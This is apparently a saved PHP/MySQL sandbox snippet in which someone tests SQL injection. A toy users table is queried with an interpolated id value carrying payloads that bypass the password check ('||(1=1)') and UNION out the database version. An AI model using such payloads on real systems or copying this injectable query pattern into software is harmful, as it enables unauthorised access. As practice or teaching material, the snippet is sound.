*************

SQL code: Upload Copy Format Clear

CREATE TABLE users (`username` varchar(20), `id` int, `password` varchar(20)) ; INSERT INTO users (username, id, password) VALUES ("victim", 2, "passkey"); INSERT INTO users (username, id, password) VALUES ("admin", 21, "pdasskey"); INSERT INTO users (username, id, password) VALUES ("admdsain", 1, "sdaf");

SQL Server: Preserve result

Result: Copy Clear

PHP code: Copy Format Clear

<?php $username = "victim"; $id = "2)||(1=1)UNION(select @@version, @@version, @@version )#"; // $id = "2)||(1=1)UNION(select@@version,1,2,3)#"; // $id = "1)||( @@version >= "8.0.39-" )#"; // $id = "2)||(1=1)#"; $password = "passkdey"; $query = "SELECT * FROM users WHERE (username='$username' and id=$id) and password='$password'"; // $query = "SELECT SUBSTRING(@@version,4,5) as res"; echo $query; echo "\n\n"; $result = $mysqli->query($query); while($row = mysqli_fetch_assoc($result)){ foreach($row as $cname => $cvalue){ print "$cname: $cvalue\t"; } print "\r\n"; }

PHP version:

Show: Warnings Notice

Result: Copy Clear

Like the site? Share it!

Have a questions? Ask in our telegram chat!

PHP versions: PHP 5.6, PHP 7.4, PHP 8.0, PHP 8.1, PHP 8.2.13
RDBMS versions: MariaDB 11.4, MariaDB 11.5, MariaDB 10, MariaDB 10 Sakila (ReadOnly), MySQL 5.7, MySQL 5.7 Sakila (ReadOnly), MySQL 8.0, MySQL 8.0 Sakila (ReadOnly), SQLite 3, SQLite 3 Preloaded, PostgreSQL 10 Bookings (ReadOnly), PostgreSQL 11, PostgreSQL 12, PostgreSQL 13, PostgreSQL 14, PostgreSQL 15, MS SQL Server 2017, MS SQL Server 2019, MS SQL Server 2022, MS SQL Server 2022 AdventureWorks (ReadOnly), Firebird 4.0, Firebird 4.0 (Employee), Oracle Database 19c (HR), Oracle Database 21c, Oracle Database 23c Free, SOQOL

PHPize Online / SQLize Online / SQLtest Online